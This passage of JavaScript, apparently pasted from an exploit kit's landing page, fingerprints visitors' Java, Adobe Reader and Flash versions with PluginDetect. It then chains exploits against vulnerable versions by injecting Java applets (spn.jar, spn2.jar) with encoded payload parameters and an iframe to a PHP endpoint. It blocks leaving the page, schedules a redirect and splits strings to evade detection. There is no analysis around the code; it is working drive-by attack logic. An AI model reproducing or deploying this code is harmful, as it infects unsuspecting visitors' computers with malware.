  2126.    {
  2127.    };
  2128.    window.onbeforeunload=function()
  2129.    {
  2130.      return "";
  2131.    };
  2132.    function j1()
  2133.    {
  2134.      var d=document.createElement("div");
  2135.      d.innerHTML = '<applet archive="../data/spn2.jar" code="impossibla"><param name="val" value="0b0909041f"/><param name="prime" value="3131271c083c181c3c37343c18371f181c181c312c174421233143323a11193138174321233a3c040b043d112c39081c1f373a1f37321f37321f080802043539270e1f37111f37231f08271f08081f37111f37111f08371f37361f3717020139372c02170e392802382c390b"/></applet>';
  2136.      document.body.appendChild(d);
  2137.      return true;
  2138.    }
  2139.    function j2()
  2140.    {
  2141.      var d=document.createElement("div");
  2142.      d.innerHTML = '<applet archive="../data/spn.jar" code="impossibla"><param name="val" value="0b0909041f"/><param name="prime" value="3131271c083c181c3c37343c18371f181c181c312c174421233143323a11193138174321233a3c040b043d112c39081c1f373a1f37321f37321f080802043539270e1f37111f37231f08271f08081f37111f37111f08371f37361f3717020139370502170e392802382c390b"/></applet>';
  2143.      document.body.appendChild(d);
  2144.      return true;
  2145.    }
  2146.    function p1()
  2147.    {
  2148.      var d=document.createElement("div");
  2149.      d.innerHTML = "<iframe src=\"/forum/links/column.php?xrdbmuu="+x("c833f")+"&sckq="+x("laa")+"&bugeh=2v:1k:1m:32:33:1k:1k:31:1j:1o&hdulmrim="+x(pdfver.join("."))+"\"></iframe>";
  2150.      document.body.appendChild(d);
  2151.    }
  2152.    function p2()
  2153.    {
  2154.      return false;
  2155.    }
  2156.    function f1()
  2157.    {
  2158.      return false;
  2159.    }
  2160.    function f2()
  2161.    {
  2162.      return false;
  2163.    }
  2164.    document.write('');
  2165.    setTimeout(end_redirect,60000);
  2166.    var pdfver=[];
  2167.    function makeSense($)
  2168.    {
  2169.      var ar = [];
  2170.      var javax = ($.getVersion("Ja"+"va")+".").toString().split(".");
  2171.      if ($.isMinVersion("Ja"+"va")>=0&&((javax[0]==1&&javax[1]==7&&javax[3]<9)))
  2172.      {
  2173.        ar["push"](j2);
  2174.      }
  2175.      else if($.isMinVersion("Ja"+"va")>=0&&((javax[0]==1&&javax[1]==6&&javax[3]<33)||(javax[0]==1&&javax[1]<6)))
  2176.      {
  2177.        ar["push"](j1);
  2178.      }
  2179.      pdfver=PluginDetect.getVersion("AdobeReader");
  2180.      if(typeof pdfver=="string")
  2181.      {
  2182.        pdfver=pdfver.split(".")
  2183.      }
  2184.      else
  2185.      {
  2186.        pdfver=[0,0,0,0]
  2187.      }
  2188.      if(pdfver[0]>0&&pdfver[0]<8)
  2189.      {
  2190.        ar["push"](p1);
  2191.      }
  2192.      if(window.document&&(pdfver[0]==8||(pdfver[0]==9&&pdfver[1]<4)))
  2193.      {
  2194.        ar["push"](p2);
  2195.      }
  2196.      var ver = ($$.getVersion("Flash")+".").toString().split(".");
  2197.      if (((ver[0]==10&&ver[1]==0&&ver[2]>40)||((ver[0]==10&&ver[1]>0)&&(ver[0]==10&&ver[1]<2)))||((ver[0]==10&&ver[1]==2&&ver[2]<159)||(ver[0]==10&&ver[1]<2)))
  2198.      {
  2199.        ar["push"](f2);
  2200.      }
  2201.      if((ver[0]==10&&ver[1]==3&&ver[2]==181&&ver[3]<=23)||(ver[0]==10&&ver[1]==3&&ver[2]<181))
  2202.      {
  2203.        ar["push"](f1);
  2204.      }
  2205.      var arcalli=0;
  2206.      var arcall = function()
  2207.      {
  2208.        if(arcalli>=ar.length)return;
  2209.        var res=ar[arcalli]();
  2210.        arcalli++;
  2211.        if(res)
  2212.        {
  2213.          window["setTim"+"eout"](function()
  2214.          {
  2215.            arcall()
  2216.          }
  2217.          ,5509);
  2218.        }
  2219.        else
  2220.        {
  2221.          arcall();
  2222.        }
  2223.      };
  2224.      arcall();
  2225.    }
  2226.  $$["onDetectionDone"]("Ja"+"va", makeSense, "../data/getJavaInfo.jar");}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement